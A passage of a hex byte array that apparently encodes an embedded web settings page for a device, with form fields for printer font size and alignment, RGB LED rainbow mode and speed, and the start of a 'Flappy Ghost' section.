0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, + 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, + 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, + 0x66, 0x6F, 0x6E, 0x74, 0x20, 0x73, 0x69, 0x7A, 0x65, 0x20, 0x66, 0x6F, + 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x64, 0x20, 0x74, 0x65, 0x78, 0x74, 0x20, 0x28, 0x31, 0x30, 0x20, 0x2D, + 0x20, 0x37, 0x32, 0x29, 0x2E, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, + 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, + 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x66, 0x6F, + 0x6E, 0x74, 0x5F, 0x73, 0x69, 0x7A, 0x65, 0x22, 0x20, 0x6D, 0x69, 0x6E, + 0x3D, 0x22, 0x31, 0x30, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x37, + 0x32, 0x22, 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, 0x22, 0x20, + 0x70, 0x6C, 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, + 0x22, 0x31, 0x30, 0x20, 0x2D, 0x20, 0x37, 0x32, 0x22, 0x20, 0x72, 0x65, + 0x71, 0x75, 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, + 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, + 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, + 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, + 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x22, 0x3E, 0x50, 0x72, 0x69, 0x6E, 0x74, + 0x65, 0x72, 0x20, 0x41, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, + 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, + 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, + 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, 0x65, 0x6C, 0x65, 0x63, 0x74, + 0x20, 0x74, 0x68, 0x65, 0x20, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, + 0x6E, 0x74, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x64, 0x20, 0x74, 0x65, 0x78, 0x74, 0x2E, + 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, + 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x6C, 0x65, + 0x63, 0x74, 0x2D, 0x77, 0x72, 0x61, 0x70, 0x70, 0x65, 0x72, 0x22, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x65, 0x6C, 0x65, 0x63, + 0x74, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x70, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x5F, 0x61, 0x6C, 0x69, 0x67, 0x6E, 0x6D, 0x65, 0x6E, 0x74, 0x22, + 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, + 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, + 0x3D, 0x22, 0x30, 0x22, 0x3E, 0x43, 0x65, 0x6E, 0x74, 0x65, 0x72, 0x20, + 0x4D, 0x69, 0x64, 0x64, 0x6C, 0x65, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, + 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, + 0x75, 0x65, 0x3D, 0x22, 0x31, 0x22, 0x3E, 0x54, 0x6F, 0x70, 0x20, 0x4C, + 0x65, 0x66, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, + 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, + 0x22, 0x32, 0x22, 0x3E, 0x54, 0x6F, 0x70, 0x20, 0x52, 0x69, 0x67, 0x68, + 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, 0x74, + 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, 0x33, + 0x22, 0x3E, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x52, 0x69, 0x67, + 0x68, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6F, 0x70, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x22, + 0x34, 0x22, 0x3E, 0x42, 0x6F, 0x74, 0x74, 0x6F, 0x6D, 0x20, 0x4C, 0x65, + 0x66, 0x74, 0x3C, 0x2F, 0x6F, 0x70, 0x74, 0x69, 0x6F, 0x6E, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, 0x65, 0x6C, 0x65, 0x63, + 0x74, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, + 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x20, 0x6F, 0x6E, 0x63, 0x6C, + 0x69, 0x63, 0x6B, 0x3D, 0x22, 0x73, 0x65, 0x6E, 0x64, 0x74, 0x6F, 0x70, + 0x72, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x28, 0x29, 0x22, 0x3E, 0x53, 0x65, + 0x6E, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x65, + 0x72, 0x3C, 0x2F, 0x62, 0x75, 0x74, 0x74, 0x6F, 0x6E, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x52, 0x47, 0x42, + 0x20, 0x53, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, + 0x67, 0x73, 0x2D, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, + 0x69, 0x64, 0x3D, 0x22, 0x72, 0x67, 0x62, 0x2D, 0x73, 0x65, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, 0x52, 0x47, 0x42, 0x20, 0x53, + 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x3C, 0x2F, 0x68, 0x32, 0x3E, + 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, + 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, + 0x70, 0x75, 0x74, 0x2D, 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, + 0x22, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x5F, 0x6D, 0x6F, 0x64, + 0x65, 0x22, 0x3E, 0x52, 0x61, 0x69, 0x6E, 0x62, 0x6F, 0x77, 0x20, 0x4D, + 0x6F, 0x64, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, + 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, + 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, + 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x6F, 0x6C, + 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x54, 0x6F, 0x67, + 0x67, 0x6C, 0x65, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x61, 0x69, 0x6E, + 0x62, 0x6F, 0x77, 0x20, 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x6D, 0x6F, + 0x64, 0x65, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x74, 0x68, 0x65, 0x20, 0x52, + 0x47, 0x42, 0x20, 0x4C, 0x45, 0x44, 0x73, 0x2E, 0x3C, 0x2F, 0x73, 0x70, + 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x73, + 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, 0x62, 0x65, + 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, 0x62, 0x65, 0x6C, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, 0x67, 0x67, 0x6C, 0x65, + 0x2D, 0x73, 0x77, 0x69, 0x74, 0x63, 0x68, 0x22, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x74, 0x79, + 0x70, 0x65, 0x3D, 0x22, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x62, 0x6F, 0x78, + 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x72, 0x61, 0x69, 0x6E, 0x62, 0x6F, + 0x77, 0x5F, 0x6D, 0x6F, 0x64, 0x65, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, + 0x73, 0x3D, 0x22, 0x73, 0x6C, 0x69, 0x64, 0x65, 0x72, 0x22, 0x3E, 0x3C, + 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, + 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x2D, + 0x67, 0x72, 0x6F, 0x75, 0x70, 0x22, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x6C, 0x61, + 0x62, 0x65, 0x6C, 0x20, 0x66, 0x6F, 0x72, 0x3D, 0x22, 0x72, 0x67, 0x62, + 0x5F, 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x3E, 0x52, 0x47, 0x42, 0x20, + 0x53, 0x70, 0x65, 0x65, 0x64, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x73, 0x70, 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, + 0x22, 0x74, 0x6F, 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x22, 0x3E, 0x3F, 0x0D, + 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x73, 0x70, + 0x61, 0x6E, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x74, 0x6F, + 0x6F, 0x6C, 0x74, 0x69, 0x70, 0x74, 0x65, 0x78, 0x74, 0x22, 0x3E, 0x53, + 0x65, 0x74, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x70, 0x65, 0x65, 0x64, + 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x52, 0x47, 0x42, 0x20, + 0x63, 0x6F, 0x6C, 0x6F, 0x72, 0x20, 0x63, 0x68, 0x61, 0x6E, 0x67, 0x65, + 0x20, 0x28, 0x31, 0x35, 0x20, 0x2D, 0x20, 0x35, 0x30, 0x29, 0x2E, 0x3C, + 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x3C, 0x2F, 0x73, 0x70, 0x61, 0x6E, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x6C, + 0x61, 0x62, 0x65, 0x6C, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x69, 0x6E, 0x70, 0x75, + 0x74, 0x20, 0x74, 0x79, 0x70, 0x65, 0x3D, 0x22, 0x6E, 0x75, 0x6D, 0x62, + 0x65, 0x72, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, 0x72, 0x67, 0x62, 0x5F, + 0x73, 0x70, 0x65, 0x65, 0x64, 0x22, 0x20, 0x6D, 0x69, 0x6E, 0x3D, 0x22, + 0x31, 0x35, 0x22, 0x20, 0x6D, 0x61, 0x78, 0x3D, 0x22, 0x35, 0x30, 0x22, + 0x20, 0x73, 0x74, 0x65, 0x70, 0x3D, 0x22, 0x31, 0x22, 0x20, 0x70, 0x6C, + 0x61, 0x63, 0x65, 0x68, 0x6F, 0x6C, 0x64, 0x65, 0x72, 0x3D, 0x22, 0x31, + 0x35, 0x20, 0x2D, 0x20, 0x35, 0x30, 0x22, 0x20, 0x72, 0x65, 0x71, 0x75, + 0x69, 0x72, 0x65, 0x64, 0x3E, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x2F, 0x64, 0x69, 0x76, 0x3E, 0x0D, 0x0A, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x3C, 0x21, 0x2D, 0x2D, 0x20, 0x46, 0x6C, 0x61, 0x70, + 0x70, 0x79, 0x20, 0x47, 0x68, 0x6F, 0x73, 0x74, 0x20, 0x53, 0x65, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x2D, 0x2D, 0x3E, 0x0D, 0x0A, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x3C, 0x64, 0x69, 0x76, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, + 0x3D, 0x22, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6E, 0x67, 0x73, 0x2D, 0x73, + 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x20, 0x69, 0x64, 0x3D, 0x22, + 0x66, 0x6C, 0x61, 0x70, 0x70, 0x79, 0x5F, 0x67, 0x68, 0x6F, 0x73, 0x74, + 0x5F, 0x73, 0x65, 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x22, 0x3E, 0x0D, 0x0A, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, + 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x68, 0x32, 0x3E, + 0x57, 0x61, 0x74, 0x63, 